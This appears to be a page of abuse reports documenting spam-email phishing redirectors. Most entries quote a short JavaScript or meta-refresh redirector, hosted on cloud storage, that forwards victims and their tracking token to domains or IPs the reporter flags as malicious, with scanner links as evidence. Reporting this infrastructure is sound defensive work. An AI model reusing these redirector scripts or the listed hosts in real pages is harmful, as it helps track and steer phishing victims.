https://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.locatio ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
https://buileai.info/t/4rVwxx50378zemk430dhlkqavezv139784RNTVEZXUYRVZSDD115240/8120l21
Reloads to
ranchmunch.com/0/0/0/9caac85dbbdb2e345e530538157bfc8e/21/430-50378/
Malicious:
https://www.virustotal.com/gui/domain/ranchmunch.com
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
html has this content:
<script>
var tarckin ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another website with the passing thru of some parameters used to track the identity of the victim and to reload to another domain…
This first domain is buileai.info.
This domain is known as malicious, see
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
[email protected] does not take action to remove buileai.info…
show less
https://cutt.ly/WwVxo205
https://hairedport.com/0/0/0/f0ba0d757f12031e0494dac6bed40386/i.Abdo/pPw ...
show morehttps://cutt.ly/WwVxo205
https://hairedport.com/0/0/0/f0ba0d757f12031e0494dac6bed40386/i.Abdo/pPwkYndz
hairedport.com
show less
https://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the foll ...
show morehttps://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script transfers some codes used to track the origin of the spam mail to the ip address 185.80.128.14.
This ip is involved in malicious activity:
See
https://www.virustotal.com/gui/ip-address/185.80.128.14
show less
https://cutt.ly/0wCG7JRK
https://wobblefin.com/0/0/0/88d4516674d04179642eeed0c79ebd7f/IMD/t3dR4q9 ...
show morehttps://cutt.ly/0wCG7JRK
https://wobblefin.com/0/0/0/88d4516674d04179642eeed0c79ebd7f/IMD/t3dR4q95
Reloads to zodertent.sbs
Malicious, see
https://urlscan.io/search/#zodertent.sbs
show less
https://cutt.ly/0wCG7JRK
https://wobblefin.com/0/0/0/88d4516674d04179642eeed0c79ebd7f/IMD/t3dR4q9 ...
show morehttps://cutt.ly/0wCG7JRK
https://wobblefin.com/0/0/0/88d4516674d04179642eeed0c79ebd7f/IMD/t3dR4q95
Reloads to zodertent.sbs
Malicious, see
https://www.virustotal.com/gui/domain/wobblefin.com
show less
https://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<sc ...
show morehttps://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script redirects victim to 185.80.128.14 and transfers some tracking parameters.
185.80.128.14 Is malicious:
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
show less
https://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<sc ...
show morehttps://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script redirects victim to 185.80.128.14 and transfers some tracking parameters.
185.80.128.14 Is malicious:
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
show less
https://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<sc ...
show morehttps://storage.googleapis.com/chekqsjd54s5/001jhdkjqsd.html
html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script redirects victim to 185.80.128.14 and transfers some tracking parameters.
185.80.128.14 Is malicious:
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
show less
https://olakhdbbnjgdyggvsolgolugfd.s3.eu-west-2.amazonaws.com/inlinkgdrte.html
html has the follo ...
show morehttps://olakhdbbnjgdyggvsolgolugfd.s3.eu-west-2.amazonaws.com/inlinkgdrte.html
html has the following content:
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<script>
window.location.replace("http://metaecoverse.org.uk/" + location.hash.slice(1));
</script>
</body>
</html>
This script redirects the victim to metaecoverse.org.uk and also transfers some tracking parameters to this domain
Malicious:
https://www.virustotal.com/gui/domain/metaecoverse.org.uk
https://urlscan.io/search/#metaecoverse.org.uk
show less
https://cutt.ly/YwLm3g4L
https://wobblefin.com/0/0/0/e3ee702e8499e975f906e88c1f26c65a/IMD/yQ62oTZ ...
show morehttps://cutt.ly/YwLm3g4L
https://wobblefin.com/0/0/0/e3ee702e8499e975f906e88c1f26c65a/IMD/yQ62oTZ4
Reloads to
https://carnivalvoid.xyz/?s1=351588&s2=1136805259&s3=2565&s4=ISP&ow=&s10=3079
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
html has this content:
<script>
var tarckin ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another website with the passing thru of some parameters used to track the identity of the victim and to reload to another domain…
This first domain is buileai.info.
This domain is known as malicious, see
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
[email protected] does not take action to remove buileai.info…
show less
idealistspa.live
Proximus image:
https://idealistspa.live/uploads/archive/company/149/images/Pro ...
show moreidealistspa.live
Proximus image:
https://idealistspa.live/uploads/archive/company/149/images/Proximus.png
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Content:
<script>
var tarcking_param = wind ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This html reloads to malicious website,
See
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
show less
https://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
html has the following ...
show morehttps://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script used to pass some paramters to the malicious domain buileai.info in order to track the email of the victim
Malicious domain, see:
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
show less
https://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
This html contains:
<s ...
show morehttps://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
This html contains:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script used to pass some paramters to the malicious domain buileai.info in order to track the email of the victim
Malicious domain, see:
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
show less
https://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the foll ...
show morehttps://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script transfers some codes used to track the origin of the spam mail to the ip address 185.80.128.14.
This ip is involved in malicious activity:
See
https://www.virustotal.com/gui/ip-address/185.80.128.14
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Content:
<script>
var tarcking_param = wind ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This html reloads to malicious website,
See
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
show less
https://etqtoufwq.storage.googleapis.com/NlteGyb4bMjDUoy2pmlyOZy62h66wF4OUpT1Si9h45EO19
Content:
...
show morehttps://etqtoufwq.storage.googleapis.com/NlteGyb4bMjDUoy2pmlyOZy62h66wF4OUpT1Si9h45EO19
Content:
<meta http-equiv="Refresh" content="0; url=https://thebestnewworld.com/0/0/0/88bef8b8f794619e01e7876d8e216a1f/karima34/Thu_Jan_18_15:42:19_2024" />
thebestnewworld.com Malicious…
show less
https://storage.googleapis.com/chopomoting/voneee.html
Content:
<script>
var tarcking_param = w ...
show morehttps://storage.googleapis.com/chopomoting/voneee.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
This is malicious content: evidence see
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/ip/185.80.129.110
show less
Email Spam
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.